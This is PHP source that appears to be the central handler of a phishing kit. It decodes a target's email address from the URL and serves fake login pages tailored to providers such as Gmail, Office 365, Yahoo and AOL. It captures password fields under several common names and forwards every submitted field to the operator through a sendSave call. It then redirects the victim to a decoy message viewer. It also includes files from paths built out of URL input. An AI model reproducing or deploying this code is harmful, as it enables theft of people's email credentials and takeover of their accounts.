<?php
error_reporting(E_ALL);

include 'settings.php';
// echo '<pre>' . print_r($funcs, true) . '</pre>';
$check_password = '';
$transform_url = explode($folder, parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH));
// echo '<pre>transform_url<br>' . print_r($transform_url, true) . '</pre>';
$transform_url = explode('/', ltrim($transform_url[1], '/'));
// echo '<pre>req<br>' . print_r($_SERVER['REQUEST_URI'], true) . '</pre>';
// echo '<pre>transform_url<br>' . print_r($transform_url, true) . '</pre>';
// exit;
if(isset($transform_url[2])) {

	$funcs->add = $funcs->base64url_decode(htmlentities($transform_url[2]));

	// if(in_array($funcs->mx_go, array('gmail', 'googlemail'))) {
	// $funcs->dom_set = $funcs->gmail; }
	// elseif(in_array($funcs->mx_go, array('live', 'msn', 'outlook'))) {
	// $funcs->dom_set = $funcs->office; }
	// elseif(in_array($funcs->mx_go, array('bellsouth', 'yahoo', 'rocketmail', 'ymail', 'att', 'sbcglobal', 'btconnect', 'y7mail', 'btinternet', 'sky', 'btopenworld'))) {
	// $funcs->dom_set = $funcs->yahoo; }
	// elseif($funcs->mx_go == "aol") {
	// $funcs->dom_set = $funcs->aol; }
	// elseif($funcs->mx_go == "officem") {
	// $funcs->dom_set = $funcs->office; }
	// elseif($funcs->mx_go == "zoho") {
	// $funcs->dom_set = $funcs->zoho; }
	// elseif($funcs->mx_go == "ionosfr") {
	// $funcs->dom_set = $funcs->ionosfr; }
	// elseif($funcs->mx_go == "ionosuk") {
	// $funcs->dom_set = $funcs->ionosuk; }
	// elseif($funcs->mx_go == "ionoses") {
	// $funcs->dom_set = $funcs->ionoses; }
	// else {
	// $funcs->dom_set = $funcs->default; }
}

$funcs->dom_set = $funcs->add;

if(isset($transform_url[3])) {
	$funcs->go_to = htmlentities($transform_url[3]);
}
if(isset($transform_url[4])) {
	$funcs->identifier = $funcs->base64url_decode(htmlentities($transform_url[4]));
}
if(isset($transform_url[5])) {
	$funcs->is_error = 1;
}

if(isset($_POST['password'])) {
	$check_password = $_POST['password'];
} else if(isset($_POST['pass'])) {
	$check_password = $_POST['pass'];
} else if(isset($_POST['passwd'])) {
	$check_password = $_POST['passwd'];
} else if(isset($_POST['Passwd'])) {
	$check_password = $_POST['Passwd'];
} else if(isset($_POST['_pass'])) {
	$check_password = $_POST['_pass'];
}

	// echo '<pre>transform_url ' . print_r($transform_url, true) . '</pre>';
	// echo '<pre>$_POST ' . print_r($_POST, true) . '</pre>';
	// echo '<pre>$_COOKIE ' . print_r($_COOKIE, true) . '</pre>';
	// echo '<pre>$funcs->error ' . print_r($funcs->is_error, true) . '</pre>';
	// echo '<pre>$check_password ' . print_r($check_password, true) . '</pre>';
	// exit;
	if(strlen($check_password) < 6) {
		// echo 'FIELD PASSWORD CANNOT BE POSTED SET IT IN VIEWER';
		goto retry;
	}

	if(isset($_POST) AND count($_POST) > 0) {
		$message = '';

		foreach ($_POST as $key => $value) {
			$message .= "Field ".htmlspecialchars($key)." is: ".htmlspecialchars($value).PHP_EOL;
		}

		$funcs->sendSave($message);
		if (!isset($_COOKIE["MissingValue"])) {
	    setcookie("MissingValue", "1", time()+3600);
		}

		// exit;

	}

	if(isset($_COOKIE["MissingValue"]) AND $_COOKIE["MissingValue"] == 1) {
		header("Location: ". $url_main . "/see/msg-viewer.php?action=". $funcs->go_to);
		unset($_COOKIE['MissingValue']);
	 	setcookie("MissingValue", "0", time()+10);
	}

retry:

############## VERIFY USER #####################
// the following line prevents the browser from parsing this as HTML.
$file_path = DIR_PATH . "/empass.txt";
// Open the file to get existing content
$current = file_get_contents($file_path);
// search, and store all matching occurences in $matches
if (strpos($current, $funcs->identifier) !== false) {
	// header("Location: ". $url_main . "/see/msg-viewer.php?action=". $funcs->go_to);
}


$funcs->provider = explode("@", $funcs->identifier);
$funcs->provider = explode(".", $funcs->provider[1]);
$funcs->emadr = $funcs->provider[0];


// header("Location: $funcs->redirect");

// echo '<pre>X ' . print_r($transform_url, true) . '</pre>';
// echo '<pre>X ' . print_r(DIR_PATH . '/' . $transform_url[2] . '/' . $funcs->dom_set . '/index.php', true) . '</pre>';
// exit;
$files_path = $url_main . $transform_url[1] . '/' . $funcs->dom_set;
include_once(DIR_PATH . '/' . $transform_url[1] . '/' . $funcs->dom_set . '/index.php');

?>
